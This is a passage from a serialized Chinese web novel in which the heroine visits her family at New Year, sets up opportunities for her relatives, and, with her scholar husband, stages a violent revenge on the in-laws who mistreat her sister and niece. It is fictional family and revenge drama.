每天冬天下雪,官府都会通知大家清扫道路上的积雪。 时间一长,大家都习惯了,根本不用官府通知,自发的去扫雪了。 闻颜无事可做,就自己在家里写字画画。 忽然,她听见屋外传来滴滴哒哒的响动。 打开窗户一看,竟是房顶上的积雪化成水,顺着房檐滴落闹出的动静。 原来是屋顶上的雪化成水,顺着房檐流下来了。 一天时间,就这样在忙忙碌碌中度过。 转眼到了初二。 清晨。 闻颜起床一看。 外面的积雪已经化了半米高。 地面被泡得泥泞,如果骑马出门,倒也不受影响。 吃过早饭,再收拾好礼品,又往怀里揣了一大包碎银,就准备出门了。 她对家里人道:“雪大路不好走,还是让佩儿陪我过去吧,你们就留在家里。” “成婚第一年,哪有让妻子独自回娘家的,我陪你一起回去。”应知林不同意。 “可是,” “没可是,听我的。”应知林托着闻颜的胳膊和腰,就把她扶到了马背上。 他轻轻一拍马屁股,马儿就哒哒哒地走了。 他也翻身上马,跟上了闻颜。 他们一路出村。 遇上好些婶子,跟他们热情的打招呼。 “婶子们都回娘家啊!” 婶子们乐呵呵的道:“以前过年过节,最怕回娘家,让爹娘知道我过得不好。 今年好不容易跟着你们赚了钱,不回娘家去炫耀炫耀,就跟那个什么,穿了好衣裳在夜里走路一个道理。” 闻颜笑着道:“富贵不还乡,犹如锦衣夜行!” “对!就是这个!”婶子笑得合不拢嘴,“文化人说出来就是不一样。 所以啊,咱们还是得读书。等今儿开了春,把我家的两个娃也送到你们族学里去识字。” 婶子丈夫不高兴的嘀咕:“送儿子去就行了,闺女嫁出去都是别人家的,识字有什么用?还不是浪费钱嘛!” 婶子却不服气地哼了一声:“你懂个棒槌。你瞧瞧佩儿姑娘,就跟镇上员外家的小姐一样,再看看咱家闺女那怂样…… 再说了。 识字的闺女,嫁人的时候彩礼不比别人家高一点,女婿也能挑个家底殷实的。” 男人听到后面几句,这才没反对闺女识字。 到了岔路口,闻颜就跟婶子一家分开了。 应知林看了一眼闻颜,道:“你知道吗?村里这些改变,都是你带来的。” “我?”闻颜不解。 应知林道:“你不常在家可能不清楚。 你把皮草拿回村里加工,妇人们有了收入,在丈夫和公婆面前的腰肢杆都挺直了。” 闻颜只是想多赚点钱而已,没想到还能帮到这么多人。 闻颜开心地晃了晃脑袋。 很快,他们就到了柳家村。 柳家人出来迎接他们。 三嫂嫂得意地道:“我就说吧,颜颜一定会来的,你们还不相信。” “是是是,你说的对。”张敢娘点点她的脑袋,就乐呵呵的来接闻颜。 “娘!”闻颜跳下马背,给了张敢娘一个大大的拥抱。 “娘。”应知林提着礼物跟上来。 “知林也来了,知林快屋里坐。”张敢娘一边回应着女婿,一边抱着女儿,开心得见牙不见眼。 一家人回到院子里,张敢娘心疼地道:“外面在化雪,路面很泥泞吧,其实没必要折腾的。” 闻颜道:“我们骑马来的,不碍事的。” 张敢娘笑眯着眼,给他们拿好吃的。 闻颜看向院子里晃着摇架,过滤豆渣的柳老四,闻颜问道:“娘,过完年四哥还是要去镇上当伙计吗?” “我们昨天商量过,本来是想叫他回来一起做豆腐的,不过你四哥不肯,他说他在外面多条门路。” 店小二当到头也就是酒楼掌柜,若是普通人家,那也是天大的造化了。 可柳家做着豆腐生意,想要靠它赚更多的钱,只钻研技术是不够的。 得培养一个脑子活泛,擅长经营的生意人才行。 闻颜觉得四哥就不错。 她在酒楼里跑堂几年,察颜观色,迎来送往不在话下。 第339章:又睡一个被窝了 闻颜便说出自己提议:“我跟好朋友在京城合开了几家铺子,四哥要是愿意,可以让四哥跟着几位掌柜学习,将来也好把家里的豆腐生意做大。” 跟掌柜学完了,还可以跟着庆川学一学。 张敢娘听得很心动。 她时常去镇上探望儿子,好几次看见他被人客人和掌柜训得跟孙子似的。 她很心疼。 现在小女儿愿意给他铺路,她求之不得。 不过她也不会替儿子擅做决定,而是将老四叫进来,让他自己决定。 柳老四听完之后,眼中明显露出惊喜之色,但他却克制着,看向应知林,观察他的眼色。 现在小妹毕竟嫁给了他,他不想小妹因为帮自己,与丈夫闹得不愉快。 应知林看出他的想法,立即道:“我们家读书以外的事,都听颜颜的。” 应知林的神情没有半分勉强,柳老四这才认真道:“小妹,我想去。” 这么好的机会喂到嘴边,若是再不答应,就是不知好歹了。 “那四哥你准备准备,明儿我们去了二姐姐家,初四我就要回京城去,到时你跟我一起走。” “好。下午我就去找酒楼掌柜说不干了。”柳老四换上厚实的衣服,就去镇上了。 他也是没想到,自己还有靠妹妹的一天。 闻颜悄悄捅了应知林一下,对他使了个眼色:“路上说的事,你可以说了。” 应知林给她一个‘交给我’的眼神,道:“爹娘,我们族里要办族学,我看家里三个侄子年纪都不小了,不如把他们送到我们族学一起读书。” “真……真的可以一起吗?”柳父激动得一下就站了起来。 松山村要办族学的事,早就传遍十里八乡了,不少人都想把孩子去念书。 他们本想等族学办起来之后,再登门找应族长商量,没想到应知林会主动提出来。 应知林道:“族学里会请松山书院的学子来授课,应该比别的启蒙私塾好得多。” 三嫂嫂听见应知林说三个孩子,紧张地搓了搓手,问道:“我女儿也能去私塾吗?” “当然可以。我们族学里不分男女,我的弟弟妹妹也会去上课。到时五个孩子还能一起作伴。” 三嫂嫂确定女儿也能去私塾识字,别提有多高兴了。 她恨不得跪下给闻颜磕一个。 重要的事说完,大家都放松心情地玩。 二姐姐果然没有回来。 午饭过后,他们聚在一起玩叶子牌。 玩了十几把,都是应知林一个人在输。 三嫂嫂赢了不少钱,眉飞色舞地打趣他:“妹夫读书是一等一的好,可要论起玩叶子牌消遣,你可比不上我们。” ‘扑哧……’闻颜没忍住一下笑出了声。 哪里是应知林不会玩牌,分明是应知林太会玩牌,计算到每一步,让大家赢得恰到好处,没有察觉到一丝放水的痕迹。 三嫂嫂圆溜溜的眼睛看着她:“你笑什么?” 应知林连忙在桌子下面戳了闻颜一下,示意她不要说漏嘴。 闻颜憋着笑,连忙摇头道:“无往不胜的解元郎也有不会的东西,这个还不够好笑呀!” 三嫂嫂狐疑地盯着他俩:“你笑得也太可疑了,你们小俩口是不是在密谋什么? 莫非是你们两个在打配合,故意给我们放水?” 闻颜:“怎么可能……赢解元郎多有成就感啊!” “真的没有打配合?” “真的。” “那好吧,姑且信你一次。”一家人玩了一下午的牌。 很快就到了饭点,应知林主动去帮忙做饭:“娘和嫂嫂们继续陪颜颜玩,晚饭就交给我和两位哥哥吧。” “那怎么行,你是读书人,这双手是拿笔翻书的,怎么能让你拿刀切菜。” “就是,有句话不是说‘君子远庖厨’吗?怎能让你做饭。” 应知林笑着解释道:“这句话是倡导以仁心对待生命,而不是不能下厨做饭。” 三嫂嫂抠抠脑袋:“这句话是这个意思吗?可是村中的吕童生经常用这话说他媳妇儿的!” “肯定那个吕童生自己不想干活,又欺负他媳妇没读过书,所以用这句话来忽悠她。” “这么说来,那个吕童生坏得很嘞!” 应知林笑着道:“所以,今天就让大家尝尝我的手艺吧。” 不到半个时辰。 一桌子美味佳肴就端上了桌。 应知林先给柳父和张敢娘各夹了一只鸡腿:“爹娘尝尝我的手艺。” 张敢娘满怀期待地咬上一口,眼睛瞬间就亮了:“好吃!没想到知林读书好,厨艺也这么好!” 颜颜嫁的这个夫婿,好像真的还不错! 热热闹闹的一天结束,晚上住在柳家,明日再一起去二姐姐家。 晚上,闻颜和应知林住在一个房间。 这个房间,是柳家特地为她布置的,房间虽小,但布置得很用心,很精细。 为了房间采光好,窗户纸有一半是用贝壳制作的。 晚上,闻颜和应知林同榻而眠。 虽然在家里也是睡一张床。 可家里的床很大,而且各盖一条被子,中间的距离还能躺下两个佩儿。 跟各睡各的没什么区别。 柳家就不同了。 不仅床很小,被子也很局促。 两个人躺下之后,手臂紧贴着对方的手臂。 闻颜觉得很别扭,好几次往旁边挪。 “别动。”应知林一把按住她的肩膀,“你别动,我来帮你。” 他倾身过来帮她掖被角。 应知林几乎整个人都压了过来。 属于应知林的清冽墨香钻入她的鼻间,很熟悉,很好闻,也很安心。 脑海里突然浮现一段画面。 她趴在应知林胸膛蹭来蹭去,还说喜欢他身上的味道,在他颈窝用力的吸取。 这这……这好像是除夕之夜,醉酒后发生的事。 所以说。 那天晚上,真的是自己抱着他睡,还轻薄了他! 闻颜的脸倏的一下红了。 娘嘞! 自己好像个女流氓! 还好现在熄了灯,应知林看不见她的窘态。 把闻颜捂得严严实实后,应知林才在她身侧躺下。 两人躺了一会儿,应知林突然道:“颜颜,我可以把脚放在你的脚边吗?” “啊?!”闻颜瞬间绷紧了身体,“这……会不会不太好?” 第340章:给二姐姐报仇 “你的脚很凉。脚凉会睡得不安稳,我想帮你捂一捂。”应知林的语气像老和尚在诵经,不带一丝杂念。 她要是拒绝,反而显得心思不纯。 “那……应该可以的吧。”闻颜应道。 随后,闻颜便感觉到一双大脚丫子托着她的脚板心。 那双脚丫子又大又温暖,就像踩在暖炉上,一股热气通过脚板心往身体里蹿。 这暖乎乎的感觉,比踩着汤婆子还舒服。 闻颜可太喜欢这种感觉了。 没一会儿,她就被温暖惬意包裹,缓缓睡去。 等到耳边的呼吸变得均匀。 应知林才搂过闻颜,把她小心翼翼地揉进怀里,满意地睡去。 翌日清晨。 晨光透过贝壳窗照进来,洒在闻颜脸上。 闻颜缓缓睁开眼睛。 入眼的,便是挺拔的鼻梁,深邃的眉眼,长长的睫毛,粉嫩软糯的嘴唇。 娘嘞! 睁开眼睛就被美貌冲击。 这么漂亮一张脸,这么软糯的嘴唇,这让她怎么把持得住嘛! 想亲! 闻颜捂住想撅起的嘴,不让自己犯罪。 不过,这不对啊! 自己怎么又和应知林搂到一起睡了? 不会又是自己粘上去的吧! 闻颜咬紧了腮帮子,这双不安分的手脚啊,差点又给自己惹麻烦了。 她蹑手蹑脚地逃离他的怀抱。 谁知,她才刚有动作,应知林就醒了过来。 应知林连忙退开,扯着被子紧紧捂在胸口,委屈的低着头,吱吱唔唔的想要解释:“我……你……” 闻颜一把捂住他的嘴:“别说了!我知道是我的错,以后我不会了。” 应知林委屈地眨了眨眼睛:“哦,我知道了。我是个男人,我的清白不重要的。” 闻颜:“……” 自己怎么像个把男人欺负完就扔的坏女人。 早饭过后,闻颜和柳家人就准备去二姐姐家了。 出发之前,闻颜特地回屋打扮一番。 身上保暖的皮裘自不必说,毛光水滑,一看就不便宜。 头发也特地梳了繁复好看的发髻,不过没戴一件首饰,显得有些不协调。 三嫂嫂见了,道:“怎么一件首饰都不戴?我刚买了新的,去拿给你。” “不用,我戴了首饰的,有别的安排。” 说话间,大哥把骡车牵了出来。 经过这几天,雪化了不少,骡车也能上路了。 不过,柳老四看着闻颜的两头大马眼馋。 闻颜见着,便让应知林带他骑马,顺便把马术学会。 很快,他们就到了方家所住的村子。 他们站在村外的一个高处。 张敢娘指着一间院子,对闻颜说道:“喏,那就是方家了。” 闻颜道:“方家家境很不错啊,竟然有三间青砖瓦房。” 张敢娘道:“听说方家祖上阔过,不过后面一代不如一代,已经不如当初了。” 三嫂嫂撇嘴道:“哪是一代不如一代啊,方家明明已经是破落户了。 二姐姐嫁过来时,方家的正屋上面哪有瓦片,盖的全是茅草,还不是靠二姐姐这些年走街串巷,才把茅草换成了小青瓦。” 闻颜一边听她们说方家的情况,一边脱下斗篷。 她又拿出一只布袋,从里面拿出许多首饰佩戴。 五只金光闪闪的头饰插在发间, 右手套两只金镯,左手套两只玉镯,脖子上还戴了一只金镶玉的璎珞项圈。 腰间又挂了一串禁步。 一串羊脂白玉的禁步下面,还挂着几只金光闪闪的金铃铛。 她一动作,那些金铃铛便发出清脆悦耳的声音。 打一眼瞧,便觉得她富贵得金光闪闪不能直视。 三嫂嫂道:“颜……颜颜,你这是要干嘛!你打扮成这样,是要馋死方家那一伙人吗?” 闻颜笑道:“怎么样?够诱人吗。” 三嫂嫂点头如捣蒜:“够够够,够得很!方家的人眼珠子都要掉出来的。” 闻颜朝三嫂嫂伸出手:“一会儿,你看我眼色行事” “颜颜,你今天特地过来,是不是要收拾方家人。” 闻颜朝她眨眨眼睛。 三嫂嫂眼睛亮亮的,立即做出狗腿样:“我早就想收拾方家人了,但是担心方家人秋后算账折磨二姐,才束手束脚的不敢动手。 你放心吧,今天我就是你手里最锋利的刀。” 张敢娘有些担忧:“小五,咱们今天闹一回,可能暂时出气畅快了。等我们一走,你二姐和小方荷可是要遭大罪的。” 闻颜握着她的手安慰道:“放心吧娘,有钱能使鬼推磨,从今以后,二姐姐不会再受一点委屈。” “走吧,咱们今天就去方家,给二姐姐这些年所受的委屈,讨回公道。” 他们进入村子。 在这样的小村子,骑马本就招摇。 再加上闻颜打扮得珠光宝气,更是吸引来不少村民的目光。 “这是谁家的亲戚啊,竟然骑着马来的,好大的威风啊!” “也没听说村里谁家有这一个这么有钱的亲戚啊!不过后面的骡车上的人好眼熟啊。” “马和骡车好像是一起的,他们朝方家去了。天呐,竟然真的是方家的亲戚,看来方家要翻身啰!” 村民跟在骡车后面,大声议论,语气酸溜溜的,一点都不避讳。 方家院墙是用泥坯砖砌的,本来就只有半人高。 更何况闻颜还骑在马背上。 只一眼,便将方家院中的情况看得一清二楚。 只见方家的墙根下,一个只有一两岁的小丫头,穿着破旧的棉袄,正蹲在一个比她要大的木盆边洗碗。 那盆里的水中还有冰碴子。 小丫头的一双手被冻得发乌,手上的冻疮全部裂开,上面是黄白结痂的脓,下面是腥红渗血的嫩肉。 孩子一张小脸也冻得青紫。 而院子的另一旁,一个十六七岁的年轻女子,一件簇新的花棉袄外面,外面套着一件皮草比甲,头上戴着珍珠发饰,脸蛋和双手都十分白净,绣花裙底上连一点泥都没沾上。 可见她有多么的养尊处优,跟那个洗碗的小孩,形成鲜明对比。 三嫂嫂只看见了穿比甲的少女,她气得眼睛发红:“颜颜,你送给小方荷的皮草比甲,怎么穿到方宝珠的身上了!” “方宝珠是谁?” “方宝珠是方货郎的妹妹,今年十六七岁,听说已经说好亲事了。” “我还发愁找什么机会发作,没想到她就主动送上门来了。”闻颜咬牙冷笑,“三嫂嫂,你去把她身上比甲扒下来,再赏她十个巴掌。娘,你去护住小方荷。” 第341章:先收利息 三嫂嫂浑身都是力气,撸着衣袖就朝方宝珠冲过去。 大嫂嫂见状,也连忙跟了上去:“我来帮你!” 三嫂嫂几步走到方宝珠身边。 左右开弓,两个耳光甩在方宝珠脸上。 方宝珠突然被打,脑瓜子‘嗡嗡’作响。 大嫂嫂和三嫂嫂合力,三两下就把比甲扒了下来。 寒风袭来。 方宝珠被冻得一个激灵,瞬间感受到脸颊火辣辣的疼。 她这才意识到自己被人掌掴了。 她瞪着三嫂嫂:“你竟敢打我!你知道我是谁吗?你竟敢打我!” “打你就打你,难道还要去你家祠堂告诉你祖先一声不成!”三嫂嫂说着,又是两个巴掌扇了过去。 “啊——”方宝珠气得发疯尖叫,“你又打我!你是个什么东西,竟敢一而再再而三的打我。” 她指挥着身边的小姑娘:“你们不是想要我新买的头花吗?只要你们挠花她的脸,扒光她的衣裳。我就一人送一朵。” 小姑娘面面相觑,然后齐齐后退。 她们是笨又不是傻,怎么可能随便给人当打手。 方宝珠气得翻白眼,对着三嫂嫂就扑了过去:“老虔婆,我跟你拼了!” “你还敢嚣张,我打死你!”三嫂嫂抡起胳膊就‘啪啪啪’的把剩下的六个巴掌补齐。 大嫂嫂也没闲着,趁机在方宝珠身上掐了几把。 让她欺负二妹妹,让她欺负小方荷。 方宝珠的脸瞬间肿成猪头,身上也到处都在痛。 她指着三嫂嫂,破口大骂,却因为脸肿而口齿不清。 方家人在屋里听见惨叫,慌慌张张地跑出来。 打头的是一对四十多岁的夫妻。 男人身材精瘦,妇人身体肥硕。 他们身后还跟着五六个人,其中一个就是方货郎。 他们应该就是方家人了。 看清院中情况后,方货郎指着二位嫂嫂:“你们竟敢打我妹妹!” 方货郎当即就冲向两位嫂嫂,抬起巴掌就要打人。 二姐姐突然冲了出来,护在二位嫂嫂面前:“姓方的,你敢打我嫂嫂。” 方货郎啐了一口:“你眼瞎啊,没看见是她们先动手打宝珠的吗?你个贱妇,你还想胳膊肘往外拐不成? 别忘了你是方家的儿媳妇,方荷是我方家的种。” 方货郎竟然拿女儿威胁,柳如星的脸色瞬间煞白。 “我二姐怎么就胳膊肘往外拐了。” 闻颜骑马走进院子。 她居高临下,眼神轻蔑地盯着方货郎。 方货郎回头,瞬间被闻颜身上的珠光宝气震得呼吸都不会了。 明明几天前见面,她还风尘扑扑,看着有点小钱不算富贵,怎么几天不见,就这么有钱了。 不对。 当时他们说从京城回来,一定是长途奔波,才会打扮简朴。 唉! 当时怎么就看走眼了,错过了最佳的巴结时机。 围观的人也齐齐倒吸一口气,都没想到,一直被方家当做老黄牛使唤的柳如星,竟然有一个如此富贵的妹妹! 闻颜朝大嫂嫂伸手。 大嫂嫂立即将扒下来的皮裘比甲,递了过去。 闻颜拿着衣裳,质问方货郎:“这件衣裳是我给小方荷的,怎么会跑到她身上去了? 你们方家遭了贼,亲生女儿的衣裳被人抢了还不自知,我的二位嫂嫂拿回来,顺带教训一下不长眼睛的窃贼,有什么问题吗?” 方宝珠气得吱哇乱叫,一句‘我不是贼,你们冤枉我’,愣是说成了:“窝不洗贼,泥煤汪汪窝!” 方货郎眼珠子一转,愤怒大叫:“你放屁,她是我妹妹。那衣裳是赔钱货主动送给她姑姑的,你一个良家外嫁的臭娘们儿,有什么资格管我,嗷……谁打我!” 方货郎惨叫一声,捂住自己的嘴巴。 应知林大步走过来:“我打的。你敢辱骂我夫人,揍你活该。” 说完,他就跟变脸似的,谄媚讨好地望着闻颜道:“娘子,咱不跟泥腿子一般见识,气坏身体划不来。” 闻颜一个激灵,应知林这货闹的哪一出。 她赶紧转移注意力,继续说正事:“哎呀,原来这个猪头……啊她是方家的小女儿啊! 没想到竟是一家人,这不是大水冲了龙王庙吗? 不过……”闻颜脸色一沉,“既然是你家人,你们还敢抢我外甥女的衣裳。你们是怎么当长辈的?” “我给我外甥女的东西,就只能是我外甥女的。没有人可以乱送人,就算你是她爹也不行!” 方货郎目光闪躲。 方母平时在村里横惯了,怎会怕闻颜,拍着大腿就‘哎呦哎呦’的哭嚎起来:“没天理啊,我们好心请她来做客,她却上门来打我的宝贝女儿,呜呜……有钱人为非作歹,要逼死穷苦百姓啦。嗷嗷嗷……” 方父愁苦地在旁边抽着烟锅子,一副老实人敢怒不敢言的样子。 夫妻俩配合得够有默契。 “切……”闻颜翻着白眼,冷嗤一声,“嚎什么嚎,不就是看我有钱想讹我嘛。 鬼叫得让人心烦,三嫂嫂,赏他们一两银子。” 三嫂嫂摘下腰间的钱袋子,打开后露出满满一袋碎银。 她从中挑出一颗最小的,扔在方母脸上:“喏,拿去买药吃吧。” 方母接住银子,放在嘴里用力一咬。 银子上出现一个清晰的牙印。 方母顿时笑得见牙不见眼,直接把银子塞进怀里。 围观的人都投去羡慕的目光。 不过就是挨了几巴掌而已,连药都不用抓,两三天自己就好了。 竟然就得了这么大一块碎银。 这跟白得有什么区别! 原本幸灾乐祸看笑话的村民,都有些羡慕起方家的财运。 “赔钱货我敬告你,要是再敢动我外甥女的东西,把你的一对招子挖出来。”闻颜利息就收到这儿。 她又瞪了方宝珠一眼,对她做了一个挖眼睛的动作,“再有下下次,就打断你的手脚,让你这辈子都站不起来。” 闻颜态度极其嚣张,方家人吓得却连大气都不敢喘一下。 闻颜准备下马。 应知林立即跑过来,举起双手扶他,双手举过头顶给闻颜当扶手。 闻颜看着应知林:“??!!” 这家伙想干嘛。 应知林朝她咧嘴讨好一笑。 第342章:应知林搞事 吆喝,这家伙是想帮着自己搞事啊! 闻颜扶着他的手下了马,落地之后,她还瞪了应知林一眼,嫌弃地道:“今儿扶我下马的姿势不对,下次再做不好,我不介意换一个人。” “是,夫人,为夫知道了。”应知林不仅不生气,表现得越发谄媚讨好。 他狗腿地跟着闻颜就往屋里走。 闻颜小声提醒他:“这是我娘家的事,没必要把你搅和进来,你功名在身,名声很重要。” 应知林不以为意:“我考功名就是为了让家人能挺起腰杆做人,这种时候不用,难道要留着过年吗?” 方货郎看着二人的背影,表情玩味。 柳闻颜的那个夫君不是举人吗? 以他的身份和地位,钱和女人有人上赶着送,在本县都可以横着走了。 他为何还要对柳闻颜这个嚣张的女人谄媚讨好? 唯一的可能,柳闻颜的身份不简单,连县衙里面的那些官老爷都比不上她。 如此一来,应知林这个举人的含金量,就要再掂量掂量了。 说不定是闻颜给他铺的路。 想到柳闻颜的厉害之处,方货郎不仅没有害怕,反而越发兴奋。 在讨好人这块儿他认第二,没人敢认第一。 他就不信凭自己的本事,还拿不下一个小娘们。 柳如星他勾勾手指就弄到手了,这么多年给他当牛做马。 柳闻颜是柳如星的妹妹,身体里流着同样的血脉,骨子里一脉相承。 现在的柳闻颜,跟当初他骗柳如星差不多的年龄,同样的手段再用一遍就行。 等他把柳闻颜搞到手,说不定还能哄得她也给自己搞个功名。 举人就算了,职位越大,责任越大。 弄个秀才就够了,可以见官不跪,在县城也能横着走。 等他拿下柳闻颜之后,他应知林算个屁啊! 举人老爷也在他面前跪着。 想到以后的美满日子,方货郎就忍不住嘎嘎直乐。 应知林回头看了一眼傻乐的方货郎。 他勾了勾嘴角。 狗东西,还敢觊觎颜颜。 洗干净脖子等死吧! 闻颜一行走进屋子,就退了出来。 她嫌弃地在鼻子前面扇了扇风:“这屋子里是什么味儿啊,恶心死了。” 随后她便在屋檐下落坐。 闻颜把比甲重新披在小方荷身上。 小方荷却胆怯地躲开,小心翼翼地看向方宝珠的方向:“姨姨,方荷不冷,这件衣服还是给小姑姑穿吧。” 方宝珠舍不得这件皮草,竟然还腆着脸来接衣裳。 三嫂嫂一个巴掌就把她的手抽开了。 方宝珠痛得‘嗷’的一声叫了出来。 “你干嘛打我!痛死了!“ 三嫂嫂冷笑一声:“这只是一个小小的敬告,不属于自己的东西不要碰,不然会被剁手的。” “你……”方宝珠委屈地跺脚,“你们欺负我,我要生气了。再也不要理你们了。”说完,方宝珠就哭着跑开了。 闻颜瞥了方宝珠的背影一眼,看见一个女孩子在屋檐下玩耍。 “小孩,过姐姐这里来。”闻颜朝女孩招招手。 女孩起初有些怕她,不敢靠近。 不过闻颜笑得温柔,那孩子的胆子渐渐变大,就慢慢蹭了过来。 闻颜拿了两块糖给她,那孩子吃到糖之后,就笑得眯起了眼睛。 其他孩子看见这边有糖吃,也都围了过来。 闻颜发的糖越多,孩子就聚得越多。 没一会儿,他们周围就围满了人。 小方荷也渐渐成也为孩子的中心,大家都带着她玩,把她保护得很好。 渐渐的,村里那些妇人也围了过来。 闻颜一直在观察她们,闻颜特地跟她们搭话。 几句闲聊,闻颜就把她们的底摸清楚了。 闻颜挑了两个住在方家附近,性格泼辣的婶子格外拉拢。 有三嫂嫂帮忙,她们很快就聊到一处了,同他们说了很多方家的八卦。 方母看见柳如星坐在闻颜身边,也不去帮忙做饭。 顿时就气不打一处来,冲过去就要她去帮忙。 闻颜一个眼刀子甩了过去:“怎么,你们方家没有儿媳妇,都要饿死不成?” 方母还想怼回来,闻颜朝她举起巴掌。 方母憋屈地咽下怒气就走了。 很快就开席了。 闻颜对这一桌席面挑挑捡捡,说出一堆毛病,最后直接把筷子扔了。 午饭过后,应知林看见方货郎去了屋后。 应知林悄悄跟了过去。 “哟,这不是废物二姐夫吗?好吃懒做靠女人养,我要是你,就找个茅坑把脑袋伸进去,吃几口屎把自己噎死算了。” “你……你竟敢骂我!”方货郎气得脑瓜子嗡嗡作响。 “骂你一个废物又怎样?你跳起来打我啊!哦……抱歉,你跳起来也只能打到我的膝盖呢!” “啊……你敢羞辱我,我杀了你!”方货郎气得眼冒金星,冲动之下,一拳挥了过去。 “啊——”应知林忽然一声尖叫,抱着胳膊就冲向前院。 “我的胳膊,我的胳膊好痛啊!” 闻颜瞬间站了起来:“夫君,你的手怎么了?” “断了。我的胳膊被二姐夫打断了!好痛!”应知林一边告状一边朝闻颜使眼色。 他脸色苍白,手把举到闻颜面前:“夫人,再有两三个月就会试了,我的手断了,还怎么参加会试啊,我的前途要毁了!” “什么!”闻颜神情浮夸,拍案而起,“他们竟敢打断你的手!你可是举人老爷,胳膊断了,还怎么参加明年的会试!这不是断他的前途吗! 这口气我咽不下去,大哥三哥四哥,你们去把方货郎给我抓来,我要以血还血,以牙还牙。” “小妹你等着,我们马上就去把人抓来。”三位哥哥齐声应道。 人群里有人不嫌事大,夹着嗓子提醒:“方货郎从后院跑了。” 三位哥哥立即从后门追了过去。 没一会儿,他们就把方货郎逮回来了。 方货郎一直挣扎:“放开我,你们放开我!这里是我家,你们不能对我乱来。” 三位哥哥在他屁股上踹了一脚,方货郎直接在地上摔了个狗吃屎。 周围的人发出一阵哄笑。 第343章:摊牌了,就是来报复的 方父一张巧嘴,能言善辩,很会煽动别人的情绪:“父老乡亲,我们在一个村子里住了几十年,抬头不见低头见,平时虽然有摩擦龃龉,但并没有什么深仇大恨。 难道你们要眼睁睁的看着我们一大家子被欺负吗? 今天他们欺负上门打我,明天说不定打的就是你们。” 方父巧言令色,几句话就把村民煽动了。 村民纷纷拿起武器,护着方家人。 闻颜抓起茶碗往地上一掷。 ‘啪’的一声,震慑住所有人。 闻颜目光扫过所有人,冷笑道:“我在此提醒诸位,方货郎打的不是什么阿猫阿狗,而是今科解元。 别说是县衙里的大老爷,便是京兆府、国子监、礼部尚书都是对他赞赏有加的。 如今解元老爷握笔的手被打断,上面追究下来,你们要替方家担责?” 刚刚还要帮忙的村民,交换一个眼色之后,都放下武器退到一旁去了。 方货郎见大势已去,涕泗横流的哭着求饶。 闻颜毫不手软,眼疾手快,操起凳子砸在方货郎的胳膊上。 “啊——” 方货郎的惨叫声冲破云霄。 方货郎抱着断掉的胳膊,痛得在地上打滚。 “相公你别动。你这样乱动,伤势会加重的。” 二姐姐尖叫一声,扑过去把他按在地上,死死压着他的胳膊:“相公,你造成不能有事啊,你要是有个三长两短,我们娘俩可要怎么活啊! 相公,你坚持住啊!” 柳如星哭得眼睛通红,眼眶里蓄满泪水。 如果忽略掉她压都压不下去的嘴角,别人还真以为她是真的担心方货郎。 而方货郎因为胳膊被压,扯动伤口,痛得直翻白眼。 仿佛下一刻就会昏厥过去。 方父被闻颜的狠辣手段吓得脸上的横肉直抽抽。 方母扑过去,抱着方货郎,心肝宝贝地喊了一通。 结果因为她太胖,压得方货郎伤势加重。 方货郎痛晕过去,又痛醒过来。 应知林一脸受惊地拉着闻颜胳膊:“娘子,姐夫的胳膊是不是真的断了?” 闻颜安抚道:“不怕。他一个好吃懒做,要靠老婆养的废物,胳膊废就废了,没什么大不了的。” “夫人为我出气,你对我真好。”应知林甜言蜜语,大鸟依人地靠在闻颜肩膀上。 “你的胳膊根本就没事!”方母突然指着应知林,大声叫道。 众人目光看过来。 应知林也震惊地举起胳膊:“天呐,我的胳膊真的没断!娘子,多亏了你保护我,我的胳膊没断,我还能参加三个月后的会试。” 方母顿时怒发冲冠,扑向应知林:“你们还我儿的胳膊,我要跟你们拼了!” 闻颜拉着应知林侧身躲开,同时伸脚一绊。 方母顿时摔了个狗吃屎。 闻颜拍着胸口:“好险,夫君你刚才差点又被方家人算计了。” 方家人:“……” 围观百姓:“……” “要不要听听你说的什么鬼话!” 方母摔了一跤仍不甘心,爬起来再次扑向闻颜。 闻颜把她绊倒之后,出声道:“行了,别在里演戏了。 不就是想要我赔银子吗?喏,给你,五两够了吧!” 闻颜从自己的钱袋子里,拿出一锭五两的银子扔在地上。 方母看见银元宝,眼前一亮。 顿时就顾不上方货郎了,贪婪地捡起银子,狠狠咬了一口。 确认是真的以后,宝贝地揣入怀中。 围观的人眼睛都直了。 方家人今天赚麻了。 方宝珠挨几个耳光就一块碎银,现在断条胳膊又是五两银子。 去县城找最好的大夫医治,顶多花二两银子。 剩下的三两银子纯赚。 简直发大财了。 村民都开始羡慕嫉妒了,恨不得以身代之,自己来断那条胳膊。 他们还没羡慕完,就见闻颜又拿出五两银子:“哎呀,这五两银子长得好丑,我不想要了。现在又没地儿花。” 应知林偷笑。 果然,闻颜准备的那些银子是要用在这里的。 还好自己机灵,主动挑衅了方货郎,让颜颜有地儿花钱。 三嫂嫂立即站出来道:“肥水不流外人田,不如还是花在二姐夫身上吧。” “三嫂嫂说得有道理,这次就断一条腿吧。” 闻颜把银子扔地上。 方母下意识要去捡不银子,方父想阻止。 柳老大手里的棍子已经砸在方货郎的腿上。 方货郎又是一声惨叫,继续在地上打滚。 闻颜又拿出一锭银子:“怎么还有五两银子……” “我看二姐夫的另一条胳膊挺结实的……” 一声惨叫过后,闻颜又拿出五两银子,她笑嘻嘻地看着方家其他人:“我这里还有钱,你们想不想赚啊?” 闻颜表情恶劣。终于露出真面目。 不止是方家人,就连看戏的村民都看出来了。 柳家人哪是来走亲戚的,根本就是来给柳如星撑腰的。 满满一袋银子,足够买下方家所有人的胳膊腿了。 方家人吓坏了:“柳闻颜,你想杀人吗?这是犯法的!” “不不不,我是亲戚,怎么可能会要你们的命!”闻颜摇着手指,“这只是亲戚之间的一点小摩擦,不小心弄伤了手脚,我也会拿钱把你们的手脚治好的。” “你……你疯了!你就是个疯子!” “是啊,我是疯了。看姐我二姐姐在你们家过得生不如死,我一下就气疯了。”闻颜咯咯笑着,又扔下一锭银子,“继续吧。” “干什么!”人群外面一声暴喝,“是什么人,竟敢在我的地盘上撒野。” 围观的村民主动朝两边散开,让出一条路来。 就见一个身材魁梧的中年男子走了进来。 他长得高大魁梧,一双吊梢眼里全是精明算计。 他直勾勾地盯着闻颜,几步走到闻颜面前:“柳闻颜是吧,你好大的威风,这里是我们坡子村,不是你们松山村,可以由着你随便撒野。” 随即,他又盯上应知林:“应举人,你虽有功名在身,但是随便伤人,也是违法的。 到时影响到你的名声,你还能参加三个月后的会试吗?” 第344章:关门打狗好刺激 “想必你就是本村村长了,我们与方家有些家务事要处理,还请你不要插手。”闻颜不慌不忙,不疾不徐地行了个礼。 